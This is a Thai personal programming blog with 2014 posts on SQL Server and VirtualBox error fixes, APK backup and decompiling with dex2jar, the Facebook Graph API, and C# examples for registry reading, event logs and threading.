5 Installation Interview ก่อนการ build กำหนดให้คนลงโปรแกรมสามารถกำหนด directory เองได้ไหม

สุดท้าย กด Build Project เป็นอันเรียบร้อยครับ
ทดลอง Install ดูได้ โดยเข้าไป directory ของโปรเจกค์ setup เเล้วหาโฟล์เดอร์ DISK

วันจันทร์ที่ 25 สิงหาคม พ.ศ. 2557

SQL SERVER ERROR: 40 บันทึกการพังของเอสคิวแอลเซิฟเวอร์

SQL SERVER ERROR : 40 - Could not open connection to SQL Server

ใครเจอ error code 40 ในตัว SQL SERVER เหมือนผม โดยข้อความข้อผิดพลาดเป็นตามรูปนี้เลยครับ


หมายความว่า service ที่ใช้สร้าง connection ยังไม่ถูกเรียกขึ้นมาทำงาน โดยปกติมันก็ขึ้นอัตโนมัติแหละ เเต่ผมอาจปิดโปรแกรมผิดวิธี(End Task) หรือลงโปรแกรมแปลกๆ หรือมือเผลอไปปิดเซอร์วิสตัวนี้ตอนกินแรมมหาศาลเอง ทางเเก้คือ

เข้าไปที่ Service โดย Wiindows 8 สามารถเรียก start menu > พิมพ์ service 
หรือจะเข้า My Com > manage >  Service And Application > Service
เพื่อเเสดงหน้าต่าง Service ขึ้นมา คลิกขวาที่

- SQL SERVER (SQL EXPRESS) เพื่อ Run
- SQL Server Browser เพื่อ Run

วันอังคารที่ 19 สิงหาคม พ.ศ. 2557

VirtualBox พัง fail to create new session

ช่วงนี้มีแต่อะไรพังๆ รู้สึกเหมือนจับอะไรเป็นอดใช้ซะหมด ล่าสุดอยู่ๆ Virtual Box ที่รัน Windows 7 ได้เรื่อยมา อยู่ดีๆก็ error แบบหาสาเหตุไม่ได้

ใครเจอปัญหานี้ พอกด run windows ใน vbox ตามปกติ ก็แสดง message ขึ้นมาทันที

fail to create new session
วิธีแก้
  1. Open a standard command line ( Run > cmd )
  2. Run: cd C:\Program Files\Oracle\VirtualBox
  3. Run: VBoxSVC /ReRegServer
  4. Run: regsvr32 VBoxC.dll
ถ้าสำเร็จจะแสดงข้อความแบบนี้



อ้างอิง http://superuser.com/questions/454321/how-can-i-resolve-the-error-callee-rc-regdb-e-classnotreg

จนตอนนี้ที่ผมแก้ได้เเล้วก็ยังหาสาเหตุการพังไม่ได้ รู้เเค่ว่าลอง shutdown ก่อนปิด VBOX ทุกครั้ง อย่ากด power off machine โดยไม่ซัตดาว์น 

[SVN] commit failed 405 method not allowed บ่นๆ

บทความนี้ขอบ่น ฮ่าๆ ผมได้รับมอบหมายงานนั้นเเหละครับ วิธีส่งงานคือ commit ผ่าน source control ด้วย TortoiseSVN ซึ่งงานนี้ได้ดิว  2 วัน


เช้าวันรุ่งขึ้นหลังจากทำงานเสร็จไปแล้วตั้งเเต่เมื่อวานเย็น ผมกก็ว่าจะ commit สักหน่อย กด add project ไปตั้งแต่เมื่อวานแล้ว เหลือแค่คอมมิตก็จะเสร็จสิ้นภารกิจ แต่ปรากฎว่า

"commit failed 405 method not allowed"

ตัวแดงเถือกเด้งขึ้นมาให้สะพรึงเล่น แต่ผมก็ไม่เชื่อตาตัวเองอยู่ดี กด commit อีกสองรอบ ผ่าง! เหมือนเดิมทุกอักษร

แร้ว แร้ว แร้ว แร้ว ๆๆ.. งามหน้าเเล้วครับ เพราะข้อความนี้ หมายความว่างานที่ผมพยายามจะคอมมิตไปนั้นมีอยู่ก่อนหน้านี้แล้ว (This file is a;ready exist) ซึ่งคงเป็นความบกพร่องของ manager หรือใครสักคนนี้อาจตั้งชื่อไฟล์ผิด หรือชั้น 11 มันไหวทำให้คอมผมแอบบคอมมิตเองตอนดึกๆ หรือ มีเอเลี่ยนย้อนเวลามาแกล้งผมด้วยการคอมมิตตัดหน้า แต่ช่างเหอะ

ที่ทำมา 2 วัน...เท่ากับศูนย์

ปล. ประสบการณ์ office ครั้งนี้พบว่า ถ้าเจอคนที่พูดว่า "เดี๋ยวก่อน" , "Please wait" หรืออะไรทำนองว่าให้รอไปก่อน โดยไม่มีวิธีแก้ปัญหาเฉพาะหน้า เช่น แล้วงานต่อไปหล่ะ จะเกิดขึ้นอีกไหม ทำไมไม่เช็คก่อน ไปมั่วwaitพ่องอะไร อุ้บบบบบบ  (นี้มั้งครับที่เรียกว่าภาวะผู้นำ คนที่เค้าจะไม่ทิ้งให้คุณงง เวลาเกิดปัญหา แต่เค้าจะหาทางแก้เพื่อให้งานเดินต่ออย่างฉลาดที่สุด #ซึ่งยังไม่เห็น) จบ..

วันศุกร์ที่ 15 สิงหาคม พ.ศ. 2557

Backup ไฟล์ apk จาก Bluestack อีกแนวทางการดาว์นโหลดไฟล์apk



บทความที่เเเล้วผมแนะนำการโหลดไฟล์ apk มาตรงๆจาก Google Play Store ไปแล้ว คราวนี้ลองอีกวิธีนึง เพราะบางแอปผมก็โหลดจากหน้าเว็บไม่ได้เลยต้องใช้วิธีอ้อมๆแบบนี้ คือโหลดมาลงเครื่องก่อนแล้วแบ็คอัพเป็นapk

วิธีการก็แสนง่าย เพียงแค่เปิด Bluestackขึ้นมาก่อน(สำหรับใครที่ยังไม่ได้ลง Android Emulator ตัวนี้) แล้วจึงลงโปรแกรมที่จำเป็นสองตัวนั้นคือ


1 Easy BackUp เอาไว้โหลดตัวback up เป็นไฟล์ apk ได้ง่ายๆ
2 File Manager เอาไว้จัดการไฟล์



หลังจากนั้นก็เข้าไปโหลด app ตามปกติเเล้วกลับมาเปิดแอพ Easy Backup ซึ่งตัวนี้มีดีที่ไม่ต้อง root ก็สามารถเซฟapkได้



เลือกไฟล์เเล้วกด backup ตามปกติ ไฟล์จะอยู่ในโฟลเดอร์ backup/app ซึ่งให้เราทำการย้ายมาโดยใช้แอฟ file manager มาที่ shared folder เพราะจะทำให้คอมเราเห็นไฟล์นี้ นอกอิมูเลเตอร์ ซึ่งเข้าไปดูที่ path ของ programData ตามนี้ครับ

C:\ProgramData\BlueStacks\UserData\SharedFolder


เสร็จเรียบร้อยเเล้วครับกับการ Export file .APK เป็นอีกแนวทาง ซึ่งได้ลองเล่น Blue Stack ไปด้วย ปล.อิมูตัวนี้สุดยอกจริงๆ

รับเขียนเว็บไซด์ เขียนระบบ .NET PHP Android ติดต่อ ชิน profrezz@gmail.com

วันพฤหัสบดีที่ 7 สิงหาคม พ.ศ. 2557

แกะโค๊ด JAVA จากไฟล์ APK บน GOOGLE PLAY

ปกติแล้ว app android จะถูกคอมไพล์จาก JAVA มาเป็น .apk เรียบร้อย เพื่ออินสตอลงมือถือ แต่วันนี้เราจะเอา apk จากมือถือ มาแกะโค๊ดกลับไปเป็น JAVA ครับ

ไปโหลดแอปมาตัวนึง ถูกใจมากเป็นเกมส์ธรรมดานี้แหละ แต่ผมเล่นสู้กับคอมไม่เคยชนะมันเลยสักตาเดียว เล่นมา 1 อาทิตย์เต็มๆ ก็ยังหาทางชนะไม่ได้สักที เริ่มเกิดความสงสัย ทำไมระบบAI มันเทพขนาดนั้น เอาเป็นว่าแกะโค๊ดดูเลยดีกว่าว่ามันเขียนระบบเอไอยังไง

เริ่มจากต้องหาโหลดไฟล์ .apk (ซึ่งเป็นไฟล์สมบูรณ์ที่ถูกคอมไพล์มาเรียบร้อยเเล้ว ) มาจาก Google Play ไปที่เว็บนี้เลยครับ เค้าบริการให้ดาว์นโหลดไฟล์แอปเพียงแค่ใส่ link ลงไป

โหลด APK
http://apps.evozi.com/apk-downloader/

ทดลองกับ app นี้ละกัน แอป Locket ของ CEO สาวสุดสวย
https://play.google.com/store/apps/details?id=com.locket.matterhorn

โหลดแล้วเอาไปเก็บไว้ใน folder ชื่อ apk ในไดฟ์ C: จากนั้นให้ไปดาว์นโหลดไลบราลี่  dex2jar มาจาก
https://code.google.com/p/dex2jar/wiki/Faq

รัน command promte (CMD) จากโฟล์เดอร์ที่เก็บ dex2jar แล้วพิมพ์คำสั่งลงไป
"dex2jar.bat C:\apk\name.apk "
โดย name เป็นชื่อแอปที่เราโหลดมา

ถ้าไม่มีปัญหาอะไร จะขึ้นข้อความประมาณว่า C:\apk\name_dex2jar.jar Done. แปลว่าเสร็จเเล้วครับ ที่เหลือก็แค่เปิด JAR จากโปรแกรมเช่น JD-GUI โหลดที่
http://jd.benow.ca/

เท่านี้ก็สามารถเปิดดู code java ได้เเล้ว
ปล. เท่าที่สังเกต ตัวแปรต่างๆถูกกำหนดชื่อใหม่ เป็น a b c ว่าไป
ปล. โค๊ดดูไม่ยาก แต่ syntax ไม่ได้ตรงไปซะหมด

อ้างอิง  : StackOverFlow






วันจันทร์ที่ 4 สิงหาคม พ.ศ. 2557

ว่างจัด! ทำเว็บดึง Facebook Graph API ง่ายๆ


ไม่ได้เขียน BLOG มาร่วม 3 เดือนละมั้งครับเนี้ย วันนี้ขออัพเดตหน่อยละกันครับ เนื่องจากเฟสบุ๊คนั่นอนุญาติให้เราดึงข้อมูลทั้งหมดบนหน้าเว็บลงมาได้ โดยผ่าน Facebook Graph API ตอนนี้ผมก็เลยลองๆเล่นดู จริงๆเฟสบุ๊คออกเว่อร์ชั่นของกราฟเป็น 2.0 เเล้วแหละ เเต่ผมใช้ของ 1.0 อยู่ เพราะมันเสถียรกว่า



เฟสบุ๊คจะกำหนดข้อมูลเเต่ละตัวเป็น node ซึ่งเเต่ละโน็ดจะมี ID กำกับทุกตัว ไม่ว่าจะเป็น post , picture , album , fanpage ซึ่งผมคิดว่าน่าจะเป็นเหตุผลให้ง่ายต่อการดึงข้อมูลออกมาจากดาต้าเบสของเฟสบุ๊ค ที่มีขนาดใหญ่มหาศาล ซึ่งเราสามารถเอาไอดีที่ได้นี้ ไปเป็นคีย์เพื่อดึงรายละเอียดที่สมบูรณ์ได้ ซึ่งผมจะเขียนเว็บมาอ่านชื่อเพจเเล้ว "ค้นหา PAGE ID ก็เเล้วกัน" ง่ายดี

โดยเราสามารถใช้กราฟเอพีไอ ดึงข้อมูลเบื้องต้นที่เป็นข้อมูลสาธรณะได้เช่น ชื่อเพจ รูปโปรไฟล์ของเพจ รูปโควเวอร์ก็ได้ เกี่ยวกับเพจก็ด้วย ซึ่งใช้คำสั่งง่ายผ่าน URL ได้เลย ตัวอย่างดังนี้ครับ เช่น ผมจะดึงโปรไฟล์เพจของTaylor Swift  มาหา page id

ทดลองพิมพ์ http://graph.facebook.com/v1.0/TaylorSwift


จะเห็นข้อมูลบนพื้นว่างๆเป็นแบบ JSON นั่นแหละครับ เราต้องเอามาแปลงเป็น array ใน php ก่อน เเล้วยิงอินเด็กไปที่ id เพียงเท่านี้ เราก็จะได้ Page ID ออกมาละครับ ได้ค่า 19614945368

แล้วก็เอามาฝึกทำเว็บง่ายๆ ทั้งหมดเขียนมือครับ มีก็อป css ฟรีนิดหน่อย เข้าไปลองเล่นกันได้ที่ Find Facebook FanPage ID

ติดตามต่อไปนะครับ อนาคตถ้าเจออะไรหนุกๆเกี่ยวกับกราฟ จะลองเอามาโพสเพิ่มเติมในบทความถัดๆไป วันนี้ขอตัวกลับบ้านก่อนละครับ see you

รับเขียนเว็บไซด์ เขียนระบบ .NET PHP ติดต่อ ชิน profrezz@gmail.com

วันอังคารที่ 20 พฤษภาคม พ.ศ. 2557

[ SQL SERVER ] Prevent Saving Changes Recreated แค่แก้คอลลัมม์ จะให้ดรอปเทเบิลแล้วสร้างใหม่เฉย


ธรรมดาของ SQL SERVER 2008 R2 เวลาที่เราจะแก้ไขดาต้าไทป์ของคอลัมม์ให้เป็นประเภทอื่น เช่น แก้จาก int เป็น bigint หรือแก้ความยาวของ Varchar(20) ให้สั้นลงมาเหลือ Varchar(10) จะถูกตรวจสอบก่อนว่าจะส่งผลต่อข้อมูลเราไหม ซึ่งบางครั้งก็ไม่มีปัญหาแหละ เช่น แปลง int เป็น long เพราะ data type แบบใหม่ที่แปลงไปมีขนาดยาวกว่า แต่ในกรณีที่เกิด Error เช่นแปลง varchar เป็น int ซึ่งข้อมูลเดิมอาจเป็นอักษร ซึ่งแปลงไปไม่ได้ แต่ถ้าแปลงได้ก็ไม่ควรเกิดข้อผิดพลาด


ทีนี้ด้วยความฉลาด ( มากเกินไป ) ทาง SQL SERVER จะป้องกันการแก้ไขตารางให้เราโดยจะขึ้น error ว่า "Prevent Saving Changes Recreated" ชึ่งถ้าเรายืนยันนอนยันว่าจะแก้ไข ก็สามารถไปปิดได้ดังนี้



หลังจาก LogIn เข้าสู่ server แล้วไปที่ Tool > Option แล้วไปที่ tab Designers ติก Prevent saving changes that require table re-creation ออก

วันอาทิตย์ที่ 18 พฤษภาคม พ.ศ. 2557

Doodle Rubik ตัวใหม่ของ Google เล่นกันละยัง


วันนี้ 19/5 เข้าหน้ากูเกิ้ลแล้วเจอ Doodle ตัวใหม่ เป็นรูบิค 3x3 เข้าไปลองเล่นย้อนหลังได้ที่นี้เลยครับ


แอบเล่นไปนิดนึง มีการนับจำนวนครั้งที่หมุนรูบิคด้วย ว่าใช้ไปเเล้วเท่าไหร่ โดยเราจะเห็นได้เพียง 3 ด้านจากด้านหน้า ผมว่ายากนะ รูบิคธรรมดายังเล่นไม่ค่อยจะผ่าน ยังไงก็ลองไปเล่นกันครับ ใครที่สนใจ

เจอ Google ต้อนรับวันจันทร์ด้วยโจทย์รูบิค ฮ่าๆ ทุกทีจะเป็เกมส์ง่ายๆไม่ใช่หรือ ?

วันพฤหัสบดีที่ 8 พฤษภาคม พ.ศ. 2557

วิธีดู .NET Framework เครื่องตัวเองว่าเป็นเว่อร์ชั่นอะไร


Reference: http://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx

วิธีดูเวอร์ชั่นของ .Net Framework ว่ามีกี่เวอร์ชั่นที่ install ลงบนเครื่องของเรา สามารถเขียนโปรแกรมไว้ดูได้ง่ายๆเลยครับ โดยขั้นแรกต้องรู้จัก Registry ของ Microsoft ก่อน ซึ่งสามารถเข้าไปโดยเรียก Run ขึ้นมาแล้วพิมพ์ regedit.exeกด Enter แล้วเข้าไปที่
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP ซึ่งจะเห็นเรียงกันลงมาตามทั้งหมด


คราวนี้ถึงเวลาเขียนโปรแกรมอ่านค่า registry กันมั้ง โดยเราจะอ่านค่าทั้งหมดที่เห็นใน sub folder ของ NDP แล้วเลยเอาตัวที่ขึ้นต้นด้วย V เพื่อมาแสดงลงใน ListView ซึ่งใช้โค๊ดดังนี้

using (RegistryKey ndpKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine,
                RegistryView.Registry32).OpenSubKey(@"SOFTWARE\Microsoft\NET Framework Setup\NDP\"))
            {
                foreach (string versionKeyName in ndpKey.GetSubKeyNames())
                {
                    if (versionKeyName.StartsWith("v"))
                    {

                        RegistryKey versionKey = ndpKey.OpenSubKey(versionKeyName);
                        string name = (string)versionKey.GetValue("Version", "");
                        string sp = versionKey.GetValue("SP", "").ToString();
                        string install = versionKey.GetValue("Install", "").ToString();
                        if (install == "") //no install info, ust be later
                        {
                            ListViewItem item = new ListViewItem("  " + versionKeyName + "  " + name, GetImageVersion(versionKeyName));
                            listView1.Items.Add(item);
                            Console.WriteLine(versionKeyName + "  " + name);
                        }
                        else
                        {
                            if (sp != "" && install == "1")
                            {
                                ListViewItem item = new ListViewItem("  " + versionKeyName + "  " + name + "  SP" + sp, GetImageVersion(versionKeyName));
                                listView1.Items.Add(item);
                                Console.WriteLine(versionKeyName + "  " + name + "  SP" + sp);
                            }

                        }
                        if (name != "")
                        {
                            continue;
                        }
                        foreach (string subKeyName in versionKey.GetSubKeyNames())
                        {
                            RegistryKey subKey = versionKey.OpenSubKey(subKeyName);
                            name = (string)subKey.GetValue("Version", "");
                            if (name != "")
                                sp = subKey.GetValue("SP", "").ToString();
                            install = subKey.GetValue("Install", "").ToString();
                            if (install == "") //no install info, ust be later
                            {
                                ListViewItem item = new ListViewItem("  " + versionKeyName + "  " + name ,0);
                                listView1.Items.Add(item);
                                Console.WriteLine(versionKeyName + "  " + name);
                            }
                            else
                            {
                                if (sp != "" && install == "1")
                                {
                                    ListViewItem item = new ListViewItem("    " + subKeyName + "  " + name + "  SP" + sp, -1);
                                    listView1.Items.Add(item);
                                    Console.WriteLine("  " + subKeyName + "  " + name + "  SP" + sp);
                                }
                                else if (install == "1")
                                {
                                    ListViewItem item = new ListViewItem("    " + subKeyName + "  " + name , -1);
                                    listView1.Items.Add(item);
                                    Console.WriteLine("  " + subKeyName + "  " + name);
                                }

                            }

                        }

                    }
                }
            }
ตัวโปรแกรมสมบูรณ์ หาได้ที่นี้ครับ
Name : NetFrameworkWatcher
Version : 1.0
Type : Freeware
Dwonload :  ที่นี้


รับเขียนเว็บไซด์ เขียนระบบ .NET PHP ติดต่อ ชิน profrezz@gmail.com

วันอังคารที่ 6 พฤษภาคม พ.ศ. 2557

C# EventLog Viewer part II รู้หมด! ใครแอบมาใช้คอมเรา ภาคสอง


จากที่เคยแนะนำเรื่อง ดูการใช้งานล่าสุดใน EventLog ที่เราต้องเปิด Event Viewer ขึ้นมาเพื่อ เลือกดู log ย้อนหลัง เมื่อเราอยากรู้ว่าครั้งสุดท้ายที่เข้าใช้เป็นเวลากี่โมง เพื่อดักจับนั่นแหละว่าใครแอบมาใช้คอมเราไหม ตอนที่เราไม่ได้อยู่ ซึ่ง tool ที่ Microsoft คิดมานี้ ก็ละเอียดดีครับ แต่เป้าหมายเราคือดู Log สุดท้าย ไม่ได้ Log ทั้งหมด

เลยคิดเล่นๆว่าเขียนโปรแกรม แสดง Event Log สุดท้ายก่อนเมื่อวานนี้ก่อนที่เราจะ Shut down ดีกว่า จะได้รู้ว่าเวลาสุดท้ายที่เกิดการ Run Application นั้นเป็นเวลากี่โมง ซึ่งจะคิดเป็นวันต่อวันตามหลักการคนออฟฟิต นั่นคือ เริ่มงาน 8 โมง ถึงประมาณ 5 โมง หรืออาจถึง 4 ทุ่ม ซึ่งคิดเป็นวันต่อวันนั่นแหละ
นั่นหมายความว่าถ้าผม Shutdown เครื่องตอน 6 โมง แล้วกลับมาใช้คอมใหม่วันรุ่งขึ้น ผมจะสามารถอ่าน Event Log ล่าสุดของเมื่อวานได้ 6  โมงตรง ซึ่งเป็นเวลาที่ผม Shutdown เครื่องพอดิบพอดี ถ้า เวลาที่อ่านได้ มากไปกว่านี้ เช่น 1 ทุ่ม แสดงว่าผมลืม Shutdown หรือ อาจเพราะว่ามีคนเข้ามาใช้เครื่องคอมพิวเตอร์

หลักการก็ง่ายๆ ใน logic ของ โปรแกรม อธิบายสั้นๆคือ อ่าน Log มาจากระบบนั่นแหละ ซึ่งมีอยู่ด้วยกัน 3 ประเภทหลักๆ ได้แก่ Information, Warning, Error ซึ่งผมจะอ่านเอา Information เพราะเกิดจาก Service ต่างๆที่รันบนเครื่อง ตั้งแต่เปิดยันปิด ทำให้ได้ข้อมูลเวลาที่แม่นยำกว่า จากนั่นก็เรียงตามเวลาที่เกิดล่าสุดไป แล้วเทียบเวลาไปด้วย เมื่อไหร่ที่ Log อ่านพบว่ามีการขึ้นวันใหม่ จากค่าวันที่ที่อ่านได้แตกต่างกัน เช่น 17/7/2557 กับ 16/7/2557 แสดงว่าเป็นล็อกสุดท้ายที่เกิดในวันนั่น ผมก็เอามาแสดงที่ข้อความด้านขวา

เพิ่มเติม ผมตั้ง limit ไว้ 1000 เพราะคิดว่าใน 1 วันไม่น่าเกินจากนี้ ท่านสามารถ เพิ่มได้หรือลดได้ เพื่อประให้อ่านค่าได้ถูกต้อง เช่นเพิ่งเปิดเครื่องก็อาจเลือกที่ 100 ก็ได้ เพราะ 1000 บางทีค่าก็ทะลุไปวันที่สองที่สามที่ผ่านมา ซึ่งเอาเป็นว่าไว้ทำเว่อร์ชั่นถัดๆไปของโปรแกรมนี้ก็แล้วกัน

โค๊ดตัวอย่าง ดังนี้ครับ
private void getEventLog(object obj)
        {
            ClearText();
            listView1.Items.Clear();
            foreach (EventLog log in eventLog)
            {
                DateTime date = DateTime.Now;
                int count = int.Parse(this.txtCount.Text);
                int coun = 0;
                for (int i = log.Entries.Count - 1; i > log.Entries.Count - count ; i--)
                {
                    coun++;
                    if (i == -1) return;
                    var entry = log.Entries[i];
                    ListViewItem item;
                    item = new ListViewItem(coun.ToString());
                    item.SubItems.Add(entry.Source.ToString());
                    if (checkDate.Checked)
                    {
                        if (!dateTimePicker1.Value.Date.Equals(entry.TimeGenerated.Date))
                            continue;
                    }
                    else
                    {
                        if (date.Date > entry.TimeGenerated.Date)
                        {
                            date = entry.TimeGenerated.Date;
                            item = new ListViewItem(new string[] { entry.Source.ToString() }, "0", Color.Black, Color.Red, new Font(FontFamily.GenericSansSerif, (float)10.0));

                            txtName.Text = entry.Source.ToString();
                            txtTime.Text = entry.TimeGenerated.ToString();
                            txtType.Text = entry.EntryType.ToString();
                        }
                    }
                    if (checkType.Checked)
                    {
                        if (!entry.EntryType.ToString().Equals(comboType.SelectedItem.ToString()))
                            continue;
                    }

                    item.SubItems.Add(entry.EntryType.ToString());
                    item.SubItems.Add(entry.TimeGenerated.ToString());
                    item.SubItems.Add(entry.Message.ToString());
                    item.SubItems.Add(entry.MachineName.ToString());

                    listView1.Items.Add(item);
                    //Console.WriteLine(entry.TimeWritten);
                }
                Console.WriteLine("Count : " + coun);
                return;
            }

ดาว์นโหลดโปรแกรมได้ที่
Download EventLogViewerClick Here 

Name : EventLog Viewer
Type : Freeware v.1.00
Developer : Chin Chayut

วันจันทร์ที่ 5 พฤษภาคม พ.ศ. 2557

C# Threading เขียนโปรแกรมแบ่งเทรดยังไง



Thread คืออะไร ?
เทรดก็คือการแบ่งภาระงานประมวลผล ลองนึกภาพง่ายๆว่ามีโปรแกรมคำนวนการบวกเลขไปเรื่อยๆท้ะงหมด 4 ชุด แทนที่เราจะทำที่ละชุดคือ ทำชุดแรกก่อน เร็จค่อยไปชุดสอง เราสามารถแบ่งเทรด ให้มันคำนวนทีเดียวทุกชุดทั้ง 4 ตัวได้ โดยเวลาที่ใช้ไปจะประหยัดขึ้นมาก
แล้ว C# Thread เขียนยังไง มาดูกันครับ

อันดับแรกก็ต้องเพิ่มไลบราลี่ที่จำเป็นนั่นคือ using System.Threading;  โดยหลักๆ Thread ใน C# ที่ผมใช้บ่อยๆ จะแบ่งออกเป็น 2 ประเภท นั่นคือ “แบบเรียกฟังชั่นไม่มีตัวแปร” และ ”แบบเรียกฟังชั่นมีตัวแปร” เมื่อเขียนโค๊ด จะได้ลักษณะดังนี้ครับ

ตัวอย่าง ThreadStart สำหรับฟังชั่นไร้ตัวแปร ตัวอย่างนี้จะสร้างเทรดขึ้นมา 2 ตัว แล้วรันทุกตัวพร้อมกัน โดยเรียกฟังชั่นทั้งสองคือ โหลดข้อมูลจาก Text file และจาก Database ซึ่งทั้งสองตัวนี้จะแบ่งเทรดทำงานแยกกัน

// เริ่มสร้าง Thread
            Thread[] threadArray = new Thread[2];
            for (int i = 0; i < threadArray.Length; i++)
               {
                   if(i == 0 )
                      {
                    //ถ้า i เท่ากับ 1 จะทำฟังชั่นโหลดไฟล์
                    ThreadStart thread = new ThreadStart(loadTextFile);
                    threadArray[i] = new Thread(thread);
                    threadArray[i].Start();
                      }
                else if (i == 1)
                {
                    //ถ้า i เท่ากับ 1 จะทำฟังชั่นโหลดดาต้าเบส
                    ThreadStart thread = new ThreadStart(loadDB);
                    threadArray[i] = new Thread(loadDB);
                    threadArray[i].Start();
                }
               }

ตัวอย่าง ParameterizedThreadStart ตัวอย่างนี้เป็นการรันเทรดแบบมีตัวแปร นั่นคือผมจะรับค่า string ชื่อไฟล์เข้ามาด้วยเพื่อให้รู้ว่าต้องโหลดไฟล์ไหน

// เริ่มสร้าง Thread
Thread[] threadArray = new Thread[2];
            for (int i = 0; i < threadArray.Length; i++)
            {
                if (i == 0)
                {
                    // เริ่มสร้าง ParameterizedThreadStart.
                    ParameterizedThreadStart thread = new ParameterizedThreadStart(loadTextFile);
                    threadArray[i] = new Thread(thread);
                    threadArray[i].Start("config.txt");
                }
                else if (i == 1)
                {
                    // เริ่มสร้าง ParameterizedThreadStart.
                    ParameterizedThreadStart thread = new ParameterizedThreadStart(loadDB);
                    threadArray[i] = new Thread(thread);
                    threadArray[i].Start("USERDB");
                }
            }

สุดท้ายคือคำสั่งส่งเทรดไปพักผ่อน นั่นคืออนุญาติให้เทรดงีบหลับได้ตามเวลาที่กำหนด แล้วจึงกลับมาทำงานต่อ ใช้คำสั่ง Thread.Sleep(time) เมื่อ time คือเวลามีหน่วยเป็น มิลิวินาที (millisecond) เช่น
Thread.Sleep(2000);   หมายถึงให้เทรดพัก 2 วินาที แล้วจึงมาทำงานต่อบรรทัดถัดไป

May be like this posts